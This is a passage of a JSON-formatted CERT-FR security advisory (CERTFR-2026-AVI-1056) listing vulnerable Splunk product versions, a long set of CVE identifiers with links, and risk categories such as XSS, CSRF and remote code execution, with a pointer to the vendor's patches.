"description": "Venafi app pour Splunk SOAR versions ant\u00e9rieures \u00e0 2.1.4",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Universal Forwarder versions 10.0.x ant\u00e9rieures \u00e0 10.0.9",
"product": {
"name": "Universal Forwarder",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "AWS IAM app pour Splunk SOAR versions ant\u00e9rieures \u00e0 2.1.9",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Azure AD Graph app pour Splunk SOAR versions ant\u00e9rieures \u00e0 2.5.3",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk SOAR versions ant\u00e9rieures \u00e0 8.6.0",
"product": {
"name": "SOAR",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Connect pour Kafka versions ant\u00e9rieures \u00e0 2.2.7",
"product": {
"name": "Splunk",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 9.4.x ant\u00e9rieures \u00e0 9.4.14",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "FireAMP versions 2.1.x ant\u00e9rieures \u00e0 2.1.15",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Zoom app pour Splunk SOAR versions ant\u00e9rieures \u00e0 3.2.2",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Phantom app pour Splunk SOAR versions ant\u00e9rieures \u00e0 3.8.5",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk On-Call (VictorOps) versions ant\u00e9rieures \u00e0 1.0.43",
"product": {
"name": "Splunk",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Attack Analyzer Connector pour Splunk SOAR versions 2.2.x ant\u00e9rieures \u00e0 2.2.1",
"product": {
"name": "Splunk",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk MCP Server app versions ant\u00e9rieures \u00e0 1.2.1",
"product": {
"name": "Splunk",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 10.4.x ant\u00e9rieures \u00e0 10.4.2",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "AD LDAP app pour Splunk SOAR versions ant\u00e9rieures \u00e0 2.3.8",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 10.2.x ant\u00e9rieures \u00e0 10.2.6",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Universal Forwarder versions 9.4.x ant\u00e9rieures \u00e0 9.4.14",
"product": {
"name": "Universal Forwarder",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk AI Toolkit versions ant\u00e9rieures \u00e0 6.0.1",
"product": {
"name": "Splunk AI Toolkit",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Universal Forwarder versions 10.2.x ant\u00e9rieures \u00e0 10.2.6",
"product": {
"name": "Universal Forwarder",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Cisco Talos Intelligence pour Enterprise Security Cloud versions ant\u00e9rieures \u00e0 1.0.3",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise versions 10.0.x ant\u00e9rieures \u00e0 10.0.9",
"product": {
"name": "Splunk Enterprise",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "CrowdStrike OAuth API app pour Splunk SOAR versions ant\u00e9rieures \u00e0 5.1.3",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Enterprise Security versions ant\u00e9rieures \u00e0 8.6.1",
"product": {
"name": "Enterprise Security",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Nmap Scanner versions 3.0.x ant\u00e9rieures \u00e0 3.0.15",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "RSA SecurID Authentication Manager app pour Splunk SOAR versions ant\u00e9rieures \u00e0 1.0.5",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Cisco Secure Malware Analytics app pour Splunk SOAR versions ant\u00e9rieures \u00e0 2.4.5",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Cisco Webex app pour Splunk SOAR versions ant\u00e9rieures \u00e0 2.2.1",
"product": {
"name": "N/A",
"vendor": {
"name": "Splunk",
"scada": false
}
}
},
{
"description": "Splunk Universal Forwarder versions 10.4.x ant\u00e9rieures \u00e0 10.4.2",
"product": {
"name": "Universal Forwarder",
"vendor": {
"name": "Splunk",
"scada": false
}
}
}
],
"affected_systems_content": "",
"content": "## Solutions\n\nSe r\u00e9f\u00e9rer au bulletin de s\u00e9curit\u00e9 de l\u0027\u00e9diteur pour l\u0027obtention des correctifs (cf. section Documentation).",
"cves": [
{
"name": "CVE-2026-26007",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26007"
},
{
"name": "CVE-2025-13473",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13473"
},
{
"name": "CVE-2026-76349",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76349"
},
{
"name": "CVE-2026-32597",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32597"
},
{
"name": "CVE-2026-31958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31958"
},
{
"name": "CVE-2026-76329",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76329"
},
{
"name": "CVE-2026-6474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6474"
},
{
"name": "CVE-2026-40087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40087"
},
{
"name": "CVE-2026-6472",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6472"
},
{
"name": "CVE-2026-34180",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34180"
},
{
"name": "CVE-2026-76345",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76345"
},
{
"name": "CVE-2025-67726",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-67726"
},
{
"name": "CVE-2026-76394",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76394"
},
{
"name": "CVE-2026-76383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76383"
},
{
"name": "CVE-2026-33186",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33186"
},
{
"name": "CVE-2026-76401",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76401"
},
{
"name": "CVE-2026-42766",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42766"
},
{
"name": "CVE-2026-76257",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76257"
},
{
"name": "CVE-2026-32647",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32647"
},
{
"name": "CVE-2026-76324",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76324"
},
{
"name": "CVE-2026-9076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9076"
},
{
"name": "CVE-2026-76335",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76335"
},
{
"name": "CVE-2026-76360",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76360"
},
{
"name": "CVE-2026-76393",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76393"
},
{
"name": "CVE-2026-76331",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76331"
},
{
"name": "CVE-2026-76356",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76356"
},
{
"name": "CVE-2026-6479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6479"
},
{
"name": "CVE-2026-76262",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76262"
},
{
"name": "CVE-2026-1642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1642"
},
{
"name": "CVE-2026-27651",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27651"
},
{
"name": "CVE-2026-27654",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27654"
},
{
"name": "CVE-2026-76358",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76358"
},
{
"name": "CVE-2026-1285",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1285"
},
{
"name": "CVE-2026-76320",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76320"
},
{
"name": "CVE-2026-27959",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27959"
},
{
"name": "CVE-2026-76342",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76342"
},
{
"name": "CVE-2026-6429",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6429"
},
{
"name": "CVE-2026-40701",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40701"
},
{
"name": "CVE-2026-76402",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76402"
},
{
"name": "CVE-2026-2391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2391"
},
{
"name": "CVE-2026-76395",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76395"
},
{
"name": "CVE-2026-24737",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24737"
},
{
"name": "CVE-2026-27143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27143"
},
{
"name": "CVE-2026-76369",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76369"
},
{
"name": "CVE-2026-76386",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76386"
},
{
"name": "CVE-2026-76344",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76344"
},
{
"name": "CVE-2026-2006",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2006"
},
{
"name": "CVE-2026-42946",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42946"
},
{
"name": "CVE-2026-6637",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6637"
},
{
"name": "CVE-2026-21226",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21226"
},
{
"name": "CVE-2024-35255",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-35255"
},
{
"name": "CVE-2026-76312",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76312"
},
{
"name": "CVE-2026-35536",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-35536"
},
{
"name": "CVE-2026-76403",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76403"
},
{
"name": "CVE-2026-28755",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28755"
},
{
"name": "CVE-2026-6473",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6473"
},
{
"name": "CVE-2026-76371",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76371"
},
{
"name": "CVE-2026-76313",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76313"
},
{
"name": "CVE-2026-42215",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42215"
},
{
"name": "CVE-2026-2005",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2005"
},
{
"name": "CVE-2026-76327",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76327"
},
{
"name": "CVE-2026-76381",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76381"
},
{
"name": "CVE-2026-7383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7383"
},
{
"name": "CVE-2026-25674",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25674"
},
{
"name": "CVE-2026-27144",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27144"
},
{
"name": "CVE-2026-76385",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76385"
},
{
"name": "CVE-2026-32283",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32283"
},
{
"name": "CVE-2026-76364",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76364"
},
{
"name": "CVE-2026-76388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76388"
},
{
"name": "CVE-2026-42934",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42934"
},
{
"name": "CVE-2026-24043",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24043"
},
{
"name": "CVE-2026-76261",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76261"
},
{
"name": "CVE-2026-45409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45409"
},
{
"name": "CVE-2025-53859",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-53859"
},
{
"name": "CVE-2026-76378",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76378"
},
{
"name": "CVE-2026-21860",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-21860"
},
{
"name": "CVE-2026-4800",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4800"
},
{
"name": "CVE-2026-76354",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76354"
},
{
"name": "CVE-2026-76377",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76377"
},
{
"name": "CVE-2026-39883",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39883"
},
{
"name": "CVE-2026-76321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76321"
},
{
"name": "CVE-2026-0540",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0540"
},
{
"name": "CVE-2026-32281",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32281"
},
{
"name": "CVE-2025-6545",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6545"
},
{
"name": "CVE-2026-76390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76390"
},
{
"name": "CVE-2026-28389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28389"
},
{
"name": "CVE-2026-76255",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76255"
},
{
"name": "CVE-2026-33671",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33671"
},
{
"name": "CVE-2026-34515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34515"
},
{
"name": "CVE-2026-33532",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33532"
},
{
"name": "CVE-2026-76380",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76380"
},
{
"name": "CVE-2026-34519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34519"
},
{
"name": "CVE-2026-76404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76404"
},
{
"name": "CVE-2026-76343",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76343"
},
{
"name": "CVE-2026-76254",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76254"
},
{
"name": "CVE-2026-30922",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-30922"
},
{
"name": "CVE-2026-76397",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76397"
},
{
"name": "CVE-2026-76337",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76337"
},
{
"name": "CVE-2026-76326",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76326"
},
{
"name": "CVE-2026-33750",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33750"
},
{
"name": "CVE-2026-76328",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76328"
},
{
"name": "CVE-2026-76359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76359"
},
{
"name": "CVE-2026-76365",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76365"
},
{
"name": "CVE-2026-1207",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1207"
},
{
"name": "CVE-2026-34986",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34986"
},
{
"name": "CVE-2026-33228",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33228"
},
{
"name": "CVE-2026-76405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76405"
},
{
"name": "CVE-2026-76253",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76253"
},
{
"name": "CVE-2026-76314",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76314"
},
{
"name": "CVE-2026-76315",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76315"
},
{
"name": "CVE-2026-6638",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6638"
},
{
"name": "CVE-2026-76347",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76347"
},
{
"name": "CVE-2026-34518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34518"
},
{
"name": "CVE-2026-76382",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76382"
},
{
"name": "CVE-2026-76332",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76332"
},
{
"name": "CVE-2026-76379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76379"
},
{
"name": "CVE-2026-76376",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76376"
},
{
"name": "CVE-2026-76252",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76252"
},
{
"name": "CVE-2026-27199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
},
{
"name": "CVE-2026-76336",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76336"
},
{
"name": "CVE-2026-76391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76391"
},
{
"name": "CVE-2026-22702",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22702"
},
{
"name": "CVE-2026-45447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
},
{
"name": "CVE-2026-25679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
},
{
"name": "CVE-2025-14017",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14017"
},
{
"name": "CVE-2026-76384",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76384"
},
{
"name": "CVE-2026-34525",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34525"
},
{
"name": "CVE-2026-76351",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76351"
},
{
"name": "CVE-2026-76256",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76256"
},
{
"name": "CVE-2026-28388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
},
{
"name": "CVE-2026-76309",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76309"
},
{
"name": "CVE-2026-6478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
},
{
"name": "CVE-2026-34601",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34601"
},
{
"name": "CVE-2026-24133",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24133"
},
{
"name": "CVE-2026-1312",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1312"
},
{
"name": "CVE-2026-76367",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76367"
},
{
"name": "CVE-2025-14550",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14550"
},
{
"name": "CVE-2025-66221",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66221"
},
{
"name": "CVE-2026-76322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76322"
},
{
"name": "CVE-2026-76319",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76319"
},
{
"name": "CVE-2026-76318",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76318"
},
{
"name": "CVE-2026-2950",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2950"
},
{
"name": "CVE-2026-76258",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76258"
},
{
"name": "CVE-2026-42284",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42284"
},
{
"name": "CVE-2026-6475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
},
{
"name": "CVE-2026-76370",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76370"
},
{
"name": "CVE-2026-76363",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76363"
},
{
"name": "CVE-2026-32280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
},
{
"name": "CVE-2026-76361",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76361"
},
{
"name": "CVE-2026-76316",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76316"
},
{
"name": "CVE-2026-76330",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76330"
},
{
"name": "CVE-2026-76260",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76260"
},
{
"name": "CVE-2025-69873",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69873"
},
{
"name": "CVE-2026-44244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44244"
},
{
"name": "CVE-2026-25940",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25940"
},
{
"name": "CVE-2026-24040",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24040"
},
{
"name": "CVE-2026-76346",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76346"
},
{
"name": "CVE-2026-76373",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76373"
},
{
"name": "CVE-2026-76400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76400"
},
{
"name": "CVE-2026-76372",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76372"
},
{
"name": "CVE-2026-29181",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29181"
},
{
"name": "CVE-2026-25755",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25755"
},
{
"name": "CVE-2026-76334",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76334"
},
{
"name": "CVE-2025-15599",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15599"
},
{
"name": "CVE-2026-28390",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28390"
},
{
"name": "CVE-2026-6477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6477"
},
{
"name": "CVE-2026-76340",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76340"
},
{
"name": "CVE-2026-76341",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76341"
},
{
"name": "CVE-2026-33672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33672"
},
{
"name": "CVE-2026-76396",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76396"
},
{
"name": "CVE-2026-76323",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76323"
},
{
"name": "CVE-2026-76368",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76368"
},
{
"name": "CVE-2026-76259",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76259"
},
{
"name": "CVE-2026-76355",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76355"
},
{
"name": "CVE-2026-76375",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76375"
},
{
"name": "CVE-2026-76325",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76325"
},
{
"name": "CVE-2026-76399",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76399"
},
{
"name": "CVE-2026-76392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76392"
},
{
"name": "CVE-2026-34516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34516"
},
{
"name": "CVE-2026-27140",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27140"
},
{
"name": "CVE-2026-31789",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31789"
},
{
"name": "CVE-2026-34517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34517"
},
{
"name": "CVE-2026-25535",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25535"
},
{
"name": "CVE-2026-42945",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42945"
},
{
"name": "CVE-2026-76362",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76362"
},
{
"name": "CVE-2026-76389",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76389"
},
{
"name": "CVE-2026-31938",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31938"
},
{
"name": "CVE-2026-27784",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27784"
},
{
"name": "CVE-2026-76387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76387"
},
{
"name": "CVE-2026-6276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6276"
},
{
"name": "CVE-2026-76338",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76338"
},
{
"name": "CVE-2026-28753",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28753"
},
{
"name": "CVE-2026-76374",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76374"
},
{
"name": "CVE-2026-33810",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33810"
},
{
"name": "CVE-2026-34513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34513"
},
{
"name": "CVE-2026-9256",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9256"
},
{
"name": "CVE-2026-34514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34514"
},
{
"name": "CVE-2026-28277",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28277"
},
{
"name": "CVE-2026-26996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26996"
},
{
"name": "CVE-2026-1287",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1287"
},
{
"name": "CVE-2026-76339",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76339"
},
{
"name": "CVE-2026-76348",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76348"
},
{
"name": "CVE-2025-14819",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14819"
},
{
"name": "CVE-2026-76353",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76353"
},
{
"name": "CVE-2025-67724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-67724"
},
{
"name": "CVE-2026-41066",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41066"
},
{
"name": "CVE-2026-76350",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76350"
},
{
"name": "CVE-2026-34520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34520"
},
{
"name": "CVE-2026-28684",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28684"
},
{
"name": "CVE-2026-32141",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32141"
},
{
"name": "CVE-2026-76357",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76357"
},
{
"name": "CVE-2026-2004",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2004"
},
{
"name": "CVE-2026-76317",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76317"
},
{
"name": "CVE-2026-31898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31898"
},
{
"name": "CVE-2026-24001",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24001"
},
{
"name": "CVE-2026-76310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76310"
},
{
"name": "CVE-2026-76352",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76352"
},
{
"name": "CVE-2026-25673",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25673"
},
{
"name": "CVE-2026-7168",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7168"
},
{
"name": "CVE-2025-6547",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6547"
},
{
"name": "CVE-2026-76398",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76398"
},
{
"name": "CVE-2025-67725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-67725"
},
{
"name": "CVE-2026-29063",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-29063"
},
{
"name": "CVE-2026-76366",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76366"
},
{
"name": "CVE-2025-68428",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68428"
},
{
"name": "CVE-2026-22815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22815"
},
{
"name": "CVE-2026-76311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76311"
},
{
"name": "CVE-2026-76263",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76263"
},
{
"name": "CVE-2026-76251",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76251"
},
{
"name": "CVE-2025-13465",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13465"
},
{
"name": "CVE-2026-40460",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40460"
},
{
"name": "CVE-2026-76333",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76333"
},
{
"name": "CVE-2026-44243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44243"
},
{
"name": "CVE-2026-31790",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31790"
},
{
"name": "CVE-2026-2739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2739"
}
],
"initial_release_date": "2026-08-20T00:00:00",
"last_revision_date": "2026-08-20T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1056",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-08-20T00:00:00.000000"
}
],
"risks": [
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
